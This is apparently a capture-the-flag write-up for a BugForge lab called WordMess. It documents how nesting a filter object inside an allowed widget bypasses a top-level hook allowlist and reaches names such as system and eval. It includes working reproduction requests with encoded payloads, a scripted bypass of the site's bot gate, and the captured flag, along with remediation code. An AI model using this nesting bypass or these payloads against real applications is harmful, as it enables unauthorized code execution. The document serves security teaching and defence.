WordMess: Nested Widget Allowlist Bypass to Dangerous Hook Execution
Executive Summary
WordMess is a WordPress parody CMS running on Node/Express with server side templates, fronted by a bot gate called Forgeflare. This rotation adds a dashboard widget feature: each user’s widget layout is stored as a serialized preferences blob that can be exported and re-imported from /wp-admin/profile.php. The blob holds typed objects (__wm_type), and filter widgets name a hook that the dashboard calls on the widget’s input when it renders. The import screen states that imports are validated against the allowed widget types, and the validator does reject disallowed types and hooks, but only on the outermost widgets. A filter nested inside another filter’s input is never checked, and the dashboard hydrates and runs it anyway.
Testing confirmed one finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Widget import allowlist checks only the top level, so nested filters reach disallowed hooks | High | 8.8 (dangerous hook reached; command execution not demonstrated) | CWE-502, CWE-470, CWE-20 | POST /wp-admin/profile.php |
F1 is reachable from an account anyone can create. Ten hook names that the top level check refuses produce a different result when nested: system, exec, eval, include, require, readfile, file_get_contents, call_user_func, call_user_func_array and constructor. Submitted as a top level widget, hook:"system" is rejected with 400 filter hook "system" is not in the allowed list. Submitted one level down, inside an allowed wptexturize filter, the same object is saved, and the next dashboard load renders the lab flag in the widget body.
Objective
Solve a BugForge lab whose only hint was “Gadgets inside of gadgets.”, the third WordMess rotation after the batch index desynchronization (2026-07-31) and the capability map mass assignment (2026-08-28).
Scope / Initial Access
# Target Application
URL: https://lab-1791387041351-5ikwdn.labs-app.bugforge.io/
# Auth details
Registration: open, /wp-login.php?action=register
Login: POST /wp-login.php (log, pwd, redirect_to)
Session: wordmess_session cookie (express-session, signed)
Starting privileges: subscriber
CSRF token: _wpnonce hidden field on /wp-admin/profile.php
Edge control: Forgeflare gate on /wp-json* and /wp-admin*
(16 bit SHA-256 proof of work, three timed beacons,
then verify), forgeflare_clearance cookie, Max-Age=60,
reissued on every response
Forgeflare is not a security boundary for this finding. Any browser clears it, and it was scripted for the engagement in tools/ff.py, an unpublished helper (proof of work, three beacons, verify) so that every test request carried a fresh clearance cookie. Compared with the previous rotation, the challenge added the beacon step. The clearance cookie is left out of the reproduction requests below for readability. The honeypot field hp and the /forgeflare/trap link listed in robots.txt were left alone.
Reconnaissance: Reading the Dashboard Render to Map the Hook Registry
The REST index at /wp-json and the admin menu for a subscriber mapped the visible surface. The new element this rotation was the preferences blob on /wp-admin/profile.php. No source code, source maps or configuration files were reachable, and the REST endpoints that would list plugins or settings returned 401 to a subscriber, so the rendered dashboard was the only place to learn what the server would accept.
The observations that shaped the work:
- The profile page exports the current layout as
s:followed by JSON, with each widget carrying a__wm_typeofWM_WidgetorWM_Filter. The import form says: “Imports are validated against the allowed widget types before they are saved.” - The default exported blob already nests one typed object inside another. The “Featured” widget is a
WM_Filterwithhook:"make_clickable"whoseinputis a fullWM_Widgetobject:{"__wm_type":"WM_Filter","title":"Featured","hook":"make_clickable","input":{"__wm_type":"WM_Widget","title":"inner","content":"Docs: https://wordmess.test"}}Nesting is part of the format, so the renderer has to hydrate whatever sits in
input. - At the top level the validator rejects both an unknown type (
400 Import rejected: widget type "WM_Probe" is not allowed) and an unknown hook (400 filter hook "wm_probe_hook" is not in the allowed list). Neither error lists the allowed values. - The same two objects placed inside an allowed filter’s
inputare both saved (302 ?saved=1), and they render differently on/wp-admin. The unknown type is printed as its raw JSON string. The unknown hook is instantiated as a filter and passes its input through unchanged. A registered hook such aswptexturizevisibly transforms its input. That difference is the tell for which names exist on the server. - The two hooks in the default blob,
wptexturizeandmake_clickable, are real WordPress formatting functions, so the registry is keyed by WordPress function names. A seeded post describes the plugin system as one where plugins “wire named hooks, they do not run arbitrary code”, which names the class of hook the top level check exists to block.
The import accepts at most 20 widgets per request, so the enumeration was batched: every candidate name was wrapped as the nested input of an allowed wptexturize filter, and each widget got its own title so the rendered output could be matched back to the name.
- Types (34 names, 2 requests): 32 guessed
WM_*class names all rendered as raw JSON. Only the controls,WM_WidgetandWM_Filter, hydrated. The usable surface is the hook registry, not extra classes. - Hooks (53 names, 3 requests): each nested filter received the same probe input,
siteurl <b>"x"</b> -- 1. That string is an option name, contains HTML and quotes, and contains--, so any accessor, escaper or formatter changes it visibly. The candidates came from WordPress data accessors (get_option,get_post,get_userdata), WordPress hook indirection (apply_filters,do_shortcode,maybe_unserialize), PHP code and file functions (system,exec,eval,include,file_get_contents,call_user_func), WordPress and PHP formatters (esc_attr,wpautop,strrev,base64_encode), and JavaScript prototype names (constructor,toString,__proto__), since the stack is Node imitating PHP.
| Rendered result | Hook names |
|---|---|
Lab flag bug{...} |
call_user_func, call_user_func_array, file_get_contents, include, require, readfile, eval, exec, system, constructor |
| Probe transformed | wptexturize, wpautop |
| Known from the default blob, no visible change on the probe | make_clickable (the probe input contains no URL) |
| Probe unchanged (not registered) | every other candidate, including esc_html, get_option, get_post, apply_filters, do_shortcode, maybe_unserialize, strrev, toString, __proto__ |
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node/Express with server side templates (Cannot GET error pages, weak W/ ETags) |
| Frontend | Server rendered HTML |
| Session | wordmess_session, express-session signed cookie (s%3A...) |
| REST API | WordPress shaped /wp-json, namespaces wp/v2 and batch/v1; cookie authenticated calls need X-WP-Nonce, published in window.wpApiSettings |
| Dashboard preferences | s: tag plus JSON, or bare JSON; typed objects WM_Widget and WM_Filter; maximum 20 widgets per import |
| Edge | Forgeflare gate on /wp-json* and /wp-admin* |
| Database | Not observable from the client |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/wp-login.php?action=register |
POST | None | Open registration, new accounts are subscribers |
/wp-login.php |
POST | None | Issues wordmess_session |
/wp-admin/profile.php |
GET | Any user | Exports the preferences blob, publishes _wpnonce |
/wp-admin/profile.php |
POST | Any user | Imports prefs_raw; source of F1 |
/wp-admin |
GET | Any user | Dashboard, renders each widget in the stored blob |
/wp-json/wp/v2/users/me |
GET | Any user plus X-WP-Nonce |
Returns id 7, subscriber |
/wp-json/wp/v2/plugins, /settings, /users |
GET | Privileged | 401 for a subscriber, with or without the nonce |
/wp-comments-post.php |
POST | None | Comments held for moderation |
Known Users
| Username | ID | Role |
|---|---|---|
| Site Admin | 1 | administrator |
| Edith Editor | 2 | editor |
| Aaron Author | 3 | author |
| Our account | 7 | subscriber |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────────┐ ┌──────────────────────────┐
│ Open registration │ │ GET /wp-admin/ │ │ POST profile.php │
│ role: subscriber │ ──▶ │ profile.php │ ──▶ │ WM_Filter hook:system │
│ login, session │ │ _wpnonce + typed blob │ │ at top level │
│ │ │ with nested input │ │ 400 not in allowed list │
└──────────────────────┘ └──────────────────────────┘ └──────────────────────────┘
│
┌───────────────────────────────────────────────────────────────────┘
▼
┌──────────────────────────────┐ ┌──────────────────────────────┐
│ POST profile.php │ │ GET /wp-admin │
│ same WM_Filter hook:system │ ──▶ │ dashboard renders the │
│ nested in wptexturize input │ │ nested filter, widget body │
│ 302 saved │ │ = bug{...} │
└──────────────────────────────┘ └──────────────────────────────┘
Findings
No source code was available for this target. The BEFORE (Vulnerable) blocks below are illustrative reconstructions inferred from observed request and response behavior, not recovered source. The AFTER (Secure) blocks are recommendations against that inferred shape.
F1: Widget import allowlist checks only the top level, so nested filters reach disallowed hooks
Severity: High
CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-502 (Deserialization of Untrusted Data), CWE-470 (Use of Externally-Controlled Input to Select Classes or Code), CWE-20 (Improper Input Validation)
Endpoint: POST /wp-admin/profile.php (stored), GET /wp-admin (rendered)
Authentication required: Yes, any self registered subscriber
Description
The preferences import accepts a tree of typed widget objects. Two behaviors combine:
- The import validator applies the type allowlist and the hook allowlist only to the entries of the top level
widgetsarray. Any object inside a filter’sinputis saved without either check. - The dashboard renderer hydrates nested objects recursively and calls each nested filter’s
hookfrom a registry that includes names the top level allowlist refuses:system,exec,eval,include,require,readfile,file_get_contents,call_user_func,call_user_func_arrayandconstructor.
A paired control isolates nesting as the only variable. {"__wm_type":"WM_Filter","hook":"system","input":"id"} at the top level returns 400 filter hook "system" is not in the allowed list. The identical object placed in the input of an allowed wptexturize filter returns 302 ?saved=1, and the dashboard then renders bug{P3yMT4rhJR8jNTyekHqBmtZ0td2X0JOa} as that widget’s body.
The rendered value is the same for all ten disallowed hooks and does not change with the input passed to them. No test was run with input whose output would differ if the named function actually executed (for example a command that echoes a chosen string), so this engagement shows that the disallowed hook names are accepted when nested and change what the renderer outputs, not that the named functions are called or that operating system commands or file reads run.
Impact
A self registered user can make the dashboard invoke hooks the application explicitly forbids, including command execution and file inclusion names, which is remote code execution class exposure.
Severity rationale. PR:L follows the same call as the previous WordMess rotation: the account is self registered, but it is still an authenticated subscriber session. C:H/I:H/A:H scores what the bypassed allowlist exists to protect, since the reachable hook names are command execution, code evaluation and file inclusion. In this lab the flag is what the platform returns in place of the sink’s effect, so it stands for the access that reaching system or eval would give on a real target; it is not itself the impact. Scoring only what was observed (the server returns a secret value in place of the hook’s output) gives CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, 6.5 Medium. The table row carries the caveat so the 8.8 is not read as demonstrated command execution.
Reproduction
All requests carry a valid forgeflare_clearance cookie, which is omitted below for readability.
Step 1: Register and log in
Register an account through the open form at /wp-login.php?action=register, then log in.
POST /wp-login.php HTTP/1.1
Host: lab-1791387041351-5ikwdn.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded
redirect_to=%2Fwp-admin&log=fs1&pwd=password
Response: 302 Location: /wp-admin with Set-Cookie: wordmess_session=s%3A57yA5OKw.... The admin bar reads Howdy, fs1 (subscriber).
Step 2: Read the CSRF token and the blob format
GET /wp-admin/profile.php HTTP/1.1
Host: lab-1791387041351-5ikwdn.labs-app.bugforge.io
Cookie: wordmess_session=s%3A57yA5OKw...
Response: 200. The import form carries <input type="hidden" name="_wpnonce" value="960647e4d7">, and the export box shows the s:{"widgets":[...]} blob with typed objects.
Step 3: Control, disallowed hook at the top level
prefs_raw (URL encoded in the request):
s:{"widgets":[{"__wm_type":"WM_Filter","title":"T10-top-system","hook":"system","input":"id"}]}
POST /wp-admin/profile.php HTTP/1.1
Host: lab-1791387041351-5ikwdn.labs-app.bugforge.io
Cookie: wordmess_session=s%3A57yA5OKw...
Content-Type: application/x-www-form-urlencoded
_wpnonce=960647e4d7&prefs_raw=s%3A%7B%22widgets%22%3A%5B%7B%22__wm_type%22%3A%22WM_Filter%22%2C%22title%22%3A%22T10-top-system%22%2C%22hook%22%3A%22system%22%2C%22input%22%3A%22id%22%7D%5D%7D
Response: 400, page text filter hook "system" is not in the allowed list. The stored preferences are unchanged.
Step 4: Same hook, nested inside an allowed filter
prefs_raw:
s:{"widgets":[{"__wm_type":"WM_Filter","title":"T10-nested-system","hook":"wptexturize","input":{"__wm_type":"WM_Filter","title":"inner","hook":"system","input":"id"}}]}
POST /wp-admin/profile.php HTTP/1.1
Host: lab-1791387041351-5ikwdn.labs-app.bugforge.io
Cookie: wordmess_session=s%3A57yA5OKw...
Content-Type: application/x-www-form-urlencoded
_wpnonce=960647e4d7&prefs_raw=s%3A%7B%22widgets%22%3A%5B%7B%22__wm_type%22%3A%22WM_Filter%22%2C%22title%22%3A%22T10-nested-system%22%2C%22hook%22%3A%22wptexturize%22%2C%22input%22%3A%7B%22__wm_type%22%3A%22WM_Filter%22%2C%22title%22%3A%22inner%22%2C%22hook%22%3A%22system%22%2C%22input%22%3A%22id%22%7D%7D%5D%7D
Response: 302 Location: /wp-admin/profile.php?saved=1. The blob is accepted.
Step 5: Load the dashboard
GET /wp-admin HTTP/1.1
Host: lab-1791387041351-5ikwdn.labs-app.bugforge.io
Cookie: wordmess_session=s%3A57yA5OKw...
Response: 200, with the stored widget rendered as:
<h4 style="margin:0 0 6px;">T10-nested-system</h4>
<div class="wm-widget-body">bug{P3yMT4rhJR8jNTyekHqBmtZ0td2X0JOa}</div>
The widget title matches the Step 4 import, so the rendered body comes from the nested system filter.
Remediation
Fix 1: Validate every typed node, not only the top level array
// BEFORE (Vulnerable): illustrative reconstruction
function validateImport(prefs) {
for (const w of prefs.widgets) {
if (!ALLOWED_TYPES.has(w.__wm_type)) throw reject(`widget type "${w.__wm_type}" is not allowed`);
if (w.__wm_type === 'WM_Filter' && !ALLOWED_HOOKS.has(w.hook))
throw reject(`filter hook "${w.hook}" is not in the allowed list`);
}
}
// AFTER (Secure)
const MAX_DEPTH = 3;
function validateNode(node, depth = 0) {
if (node === null || typeof node !== 'object') return;
if (depth > MAX_DEPTH) throw reject('widget nesting too deep');
if (Array.isArray(node)) return node.forEach(n => validateNode(n, depth + 1));
if ('__wm_type' in node) {
if (!ALLOWED_TYPES.has(node.__wm_type)) throw reject('widget type is not allowed');
if (node.__wm_type === 'WM_Filter' && !ALLOWED_HOOKS.has(node.hook))
throw reject('filter hook is not in the allowed list');
}
// walk every property, not only WM_Filter.input
Object.values(node).forEach(v => validateNode(v, depth + 1));
}
function validateImport(prefs) {
if (!Array.isArray(prefs.widgets)) throw reject('widgets must be an array');
prefs.widgets.forEach(w => validateNode(w));
}
Fix 2: Enforce the allowlist where the hook is called, and remove dangerous entries from the registry
// BEFORE (Vulnerable): illustrative reconstruction
const HOOKS = { wptexturize, wpautop, make_clickable, system, exec, eval: evalHook, /* ... */ };
function applyFilter(f) {
const fn = HOOKS[f.hook];
const input = hydrate(f.input);
return fn ? fn(input) : input;
}
// AFTER (Secure)
const HOOKS = new Map([
['wptexturize', wptexturize],
['wpautop', wpautop],
['make_clickable', makeClickable],
]);
function applyFilter(f) {
const fn = HOOKS.get(f.hook);
if (!fn) return ''; // unknown hook renders nothing, never falls through
return fn(String(hydrate(f.input)));
}
Fix 2 matters independently of Fix 1. If the render path only ever resolves the formatting hooks the product actually offers, a future gap in the import validator cannot reach a dangerous function, because none is registered.
Additional recommendations:
- Replace the typed, user supplied object tree with a fixed schema (widget kind from an enum, text fields as strings) validated by a schema library that rejects unknown properties at every depth.
- Re-validate stored preferences on read, so blobs saved before a validator fix are not rendered as trusted.
- Treat the import cap (20 widgets) and a depth limit as part of the schema rather than separate checks.
Flag Recovery
The flag was first observed during the nested hook enumeration, where ten of the 53 names returned bug{P3yMT4rhJR8jNTyekHqBmtZ0td2X0JOa} in place of the probe input. The minimal single widget payload in Step 4 was then confirmed against the top level control in Step 3.
bug{P3yMT4rhJR8jNTyekHqBmtZ0td2X0JOa}
OWASP Top 10 Coverage
- A08:2021 Software and Data Integrity Failures: the application deserializes a user supplied typed object tree and instantiates nested objects that its own validator never inspected.
- A04:2021 Insecure Design: the safety guarantee (“validated against the allowed widget types”) lives in a separate import check rather than in the render path, and the registry carries dangerous entries that the product never offers.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy and replay; all scripted traffic replayed a cleared browser request |
tools/ff.py |
Forgeflare solver: proof of work, three beacons, verify, automatic refresh |
tools/prefs.py |
Submits a preferences blob with a fresh nonce and clearance, then fetches the dashboard |
tools/sweep.py |
Builds batched nested type and hook enumeration payloads within the 20 widget cap |
tools/readdash.py |
Extracts each widget title and body from the rendered dashboard |
References
- CWE-502: Deserialization of Untrusted Data
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code
- OWASP Deserialization Cheat Sheet
- OWASP Top 10 2021: A08 Software and Data Integrity Failures
- Prior rotations: WordMess: CVE-2026-63030 batch index desynchronization, WordMess: Capability Map Mass Assignment
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Source and asset disclosure (package.json, .git, app.js, server.js, .env, source maps, media files) |
Express 404 on every path; the logo PNG carries only C2PA metadata |
No server code or configuration is served, so names had to come from the rendered dashboard |
REST as a subscriber with X-WP-Nonce (plugins, settings, users) |
users/me works; the others return 401 |
Real capability checks on the privileged routes; they do not list plugins or hooks to a subscriber |
Error leak through a malformed blob (truncated JSON after s:) |
400 Could not parse preferences: invalid JSON. |
Parse errors are handled, no stack trace |
Error leak through a type error at render (nested WM_Filter with input:123) |
Saved, renders 123 |
Input is coerced to a string, no stack trace |
Alternate serialization tags (O:, a:, C:, j:) carrying a top level unknown hook |
400 invalid JSON |
Only s: and bare JSON are accepted; bare JSON hits the same top level check (400 hook not in allowed list) |
Nested class gadgets (32 guessed WM_* types) |
All rendered as raw JSON | Only WM_Widget and WM_Filter exist; the surface is the hook registry |
WordPress data accessors and hook indirection as nested hooks (get_option, get_post, apply_filters, do_shortcode, maybe_unserialize) |
Probe input passed through unchanged | Not in the registry |
OPTIONS on REST routes |
404 rest_no_route on every route |
No method or schema disclosure this rotation |
Tags: #deserialization #allowlist-bypass #unsafe-reflection #wordpress #cwe-502 #cwe-470 #bugforge
Document Version: 1.0
Last Updated: 2026-10-07